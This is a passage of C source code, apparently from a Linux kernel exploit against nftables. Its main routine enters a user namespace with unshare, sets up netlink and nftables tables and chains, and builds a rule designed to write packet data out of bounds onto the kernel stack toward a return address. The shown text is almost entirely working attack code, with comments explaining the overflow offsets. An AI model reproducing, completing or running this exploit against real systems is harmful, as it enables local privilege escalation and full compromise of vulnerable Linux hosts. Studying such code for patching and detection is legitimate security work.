| 425 | } |
| 426 | |
| 427 | int main(int argc, char** argv, char** envp) |
| 428 | { |
| 429 | // 1. initialize |
| 430 | // 1-1. unshare - namespace |
| 431 | if (argc < 2) { |
| 432 | puts("[+] Dropping into network namespace"); |
| 433 | |
| 434 | // We're too lazy to perform uid mapping and such. |
| 435 | char* new_argv[] = { |
| 436 | "/usr/bin/unshare", |
| 437 | "-Urn", |
| 438 | argv[0], |
| 439 | "EXPLOIT", |
| 440 | NULL |
| 441 | }; |
| 442 | |
| 443 | execve(new_argv[0], new_argv, envp); |
| 444 | puts("Couldn't start unshare wrapper.."); |
| 445 | exit(EXIT_FAILURE); |
| 446 | } |
| 447 | |
| 448 | // I'm too lazy to talk to NETLINK_ROUTE.. |
| 449 | system("ip link set dev lo up"); |
| 450 | // 1-2. setup netlink & nftables |
| 451 | struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); |
| 452 | |
| 453 | if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { |
| 454 | perror("[-] mnl_socket_bind"); |
| 455 | puts("[-] Are you sure you have CAP_NET_ADMIN?.."); |
| 456 | exit(EXIT_FAILURE); |
| 457 | } |
| 458 | int seq = time(NULL); |
| 459 | int err; |
| 460 | // 1-3. create rule to get specific packet (specified port 9999 & MAGIC value) |
| 461 | char *table_name = "exploit_table", *base_chain_name = "base_chain", *aux_chain_name = "aux_chain"; |
| 462 | // create base_chain |
| 463 | setup_nftables(nl, table_name, base_chain_name, &seq); |
| 464 | // create auxilitary chain |
| 465 | if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) |
| 466 | error("Failed creating auxiliary chain"); |
| 467 | printf("[+] Created auxiliary chain %s\n", aux_chain_name); |
| 468 | // base_chain rule |
| 469 | if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) |
| 470 | error("Failed creating base chain rule"); |
| 471 | puts("[+] Created base chain rule"); |
| 472 | // 2. test if the kernel is vulnerable |
| 473 | // make a rule (latter use leak rule to replace it) |
| 474 | struct vuln_expr_params v; |
| 475 | |
| 476 | // 2-1. offset 0xca and len 0xff is OOB (0xca * 4 = 0x328 ret_addr offset) calculate overflow range |
| 477 | if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) |
| 478 | error("[-] Something went horribly wrong..."); |
| 479 | // 2-2. 创建rule: 把 packet 中 8~max_len 字节读取到偏移寄存器 (v.value-4)*4 处 (往栈上写数据) |
| 480 | struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL); |
| 481 | rule_add_payload(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value); |
| 482 | |
| 483 | err = send_batch_request( |
| 484 | nl, |
nothing calls this directly
no test coverage detected